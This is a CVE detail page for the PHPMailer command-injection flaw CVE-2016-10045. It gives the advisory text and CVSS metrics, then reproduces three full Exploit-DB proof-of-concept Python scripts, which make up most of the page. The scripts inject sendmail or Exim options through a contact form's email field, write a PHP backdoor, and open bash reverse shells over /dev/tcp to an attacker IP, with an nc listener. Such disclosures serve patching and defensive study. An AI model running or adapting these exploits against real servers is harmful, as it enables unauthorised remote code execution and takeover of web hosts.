CVE-2016-10045 Detail

CVE-2016-10045

Score / Severity

9.8

Critical

CVE Descriptions

The isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code by leveraging improper interaction between the escapeshellarg function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-77	Improper Neutralization of Special Elements used in a Command ('Command Injection') The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 40969

Publication date : 2016-12-26 23h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/usr/bin/python intro = """ PHPMailer RCE PoC Exploits PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) + PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) (the bypass of the first patch for CVE-2016-10033) Discovered and Coded by: Dawid Golunski @dawid_golunski https://legalhackers.com """ usage = """ Usage: Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html PoC Video: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Disclaimer: For testing purposes only. Do no harm. """ import time import urllib import urllib2 import socket import sys RW_DIR = "/var/www/html/uploads" url = 'http://VictimWebServer/contact_form.php' # Set destination URL here # Choose/uncomment one of the payloads: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) #payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR ###################################### # PHP code to be saved into the backdoor php file on the target in RW_DIR RCE_PHP_CODE = "<?php phpinfo(); ?>" post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE} # Attack data = urllib.urlencode(post_fields) req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read()

Exploit Database EDB-ID : 40986

Publication date : 2017-01-01 23h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/usr/bin/python intro = """\033[94m __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit a.k.a "PwnScriptum" CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 This PoC exploit aims to execute a reverse shell on the target in the context of the web-server user via vulnerable PHP email library. Discovered and Coded by: \033[1;34m Dawid Golunski https://legalhackers.com t: @dawid_golunski for updates \033[0m \033[94m P.$. For testing only! Don't break the Web ;) \033[0m """ info = """ [Version] Limited (ver. 1.0) [PoC Video] See the the exploit in action at: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html [Info] This exploit targets a common webapp component - Contact Form. It combines payloads for the following vulns: 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html [Usage] ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT [-d TARGET_UP_DIR] -ip ATTACKERS_IP [-p ATTACKERS_PORT] [--version] [--post-action POST_ACTION] [--post-name POST_NAME] [--post-email POST_EMAIL] [--post-msg POST_MSG] Note, make sure the contact form matches the default field names (send/name/email/msg). Otherwise override with --post-msg=message_box for example. """ import os import argparse import time import urllib import urllib2 import socket import sys # The Main Meat print intro # Show info if '-H' in sys.argv: print info exit(0) # Parse input args parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir') parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell') parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener') parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition') parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() # Preset vars TMOUT = 3 # Set Vars if args.ATTACKERS_PORT is None: args.ATTACKERS_PORT = 8080 if args.TARGET_UP_DIR is None: args.TARGET_UP_DIR = "upload" # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] TARGET_UP_DIR = [%s] ATTACKERS_IP = [%s] ATTACKERS_PORT = [%s] CONTACT_SCRIPT_URL = [%s] BACKDOOR_FILEl = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) print "[+] Choose your target / payload: " print "\033[1;34m" print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) The escapeshellarg() bypass :)\n""" print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>4): print "No such target. Exiting\n" exit(3) if target == 1: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 2: # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 3: # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 4: # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: # e.g: #RCE_PHP_CODE = "<?php phpinfo(); ?>" RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) # The form names might need to be adjusted post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} # Attack # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) response = urllib2.urlopen(req) the_page = response.read() # Check if the backdoor was uploaded correctly. # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine # So we catch the timeout to find out. # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL got_timeout = 0 http_err = 0 try: urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) except urllib2.HTTPError as e: http_err = e.code except socket.timeout as e: print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" got_timeout = 1 if (got_timeout != 1): print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err exit(2) # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" os.system("nc -v -l -p %d" % args.ATTACKERS_PORT) print "\n[+] Shell closed\n" print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"

Exploit Database EDB-ID : 42221

Publication date : 2017-06-20 22h00 +00:00
Author : phackt_ul
EDB Verified : No

#!/usr/bin/python # # Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA] # Date: [16/06/2017] # Exploit Author: [@phackt_ul] # Software Link: [https://github.com/PHPMailer/PHPMailer] # Version: [< 5.2.20] # Tested on: [Debian x86/x64] # CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045] # # @phackt_ul - https://phackt.com # # Find the last updated version here: https://raw.githubusercontent.com/phackt/pentest/master/exploits/rce_phpmailer_exim.py # # All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com # and its research on PHP libraries vulns # # PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) # PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html # https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html # http://pwnscriptum.com/ # # -------------------------------------------------------- # Enhanced for Exim MTA # # N.B: # The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696 # double quotes technique associated with the -oQ -X options to log mailer traffic and to create # the backdoor. This technique is not facing some payload size issues because the payload # was in the email body. # # For Exim: # The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822) # and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log # expansion variables in order to bypass the PHP mail() escaping may leads to large # email addresses payloads. However the comment syntax validateAddress() technique does not # face any size limitation but its use can not be applied for PHPMailer < 5.2.20. # # Goal: # The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20) # combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses # size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function. # We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads. # # # Usage: # ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337 # # # Requirements: # - Vulnerable PHP libraries # - Exim MTA Agent # # # Disclaimer: # For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip import argparse import urllib import urllib2 import base64 # Prepare command for Exim expansion mode in order def prepare_cmd(cmd): return '${run{${base64d:%s}}}' % base64.b64encode(cmd) # Send Request method def send_request(req): try: urllib2.urlopen(req) except urllib2.HTTPError, e: print "[!] Got HTTP error: [%d] when trying to reach " % e.code + req.get_full_url() + " - Check the URL!\n\n" exit(3) except urllib2.URLError, err: print "[!] Got the '%s' error when trying to reach " % str(err.reason) + req.get_full_url() + " - Check the URL!\n\n" exit(4) # Parse input args parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-ip', dest='ATTACKER_IP', required=True, help='Attacker IP for reverse shell') parser.add_argument('-p', dest='ATTACKER_PORT', required=False, help='Attackers Port for reverse shell', default="8888") parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] ATTACKER_IP = [%s] ATTACKER_PORT = [%s] POST_ACTION = [%s] POST_NAME = [%s] POST_EMAIL = [%s] POST_MSG = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG) # Ask for mail library print "[+] Choose your target / payload: " print "\033[1;34m" print "[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)" print " SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)" print " Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n" print "[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>2): print "No such target. Exiting\n" exit(3) ################################ # Payload ################################ cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/%s/%s;nohup sh <&196 >&196 2>&196 &'" % (args.ATTACKER_IP, args.ATTACKER_PORT) prepared_cmd = prepare_cmd(cmd) payload = '"a\\" -be ' + prepared_cmd + ' "@a.co' # Update payloads for PHPMailer bypass (PHPMailer < 5.2.20) if target == 2: payload = "\"a\\' -be " + prepared_cmd + " \"@a.co" ################################ # Attack episode # This step will execute the reverse shell ################################ # Form fields post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'} # Print relevant information print "\n[+] Executing command on victim server\n" print '[!] command: [%s]' % cmd print '[!] payload: [%s]' % payload print '[!] post_fields: [%s]\n' % str(post_fields) data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) send_request(req) print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"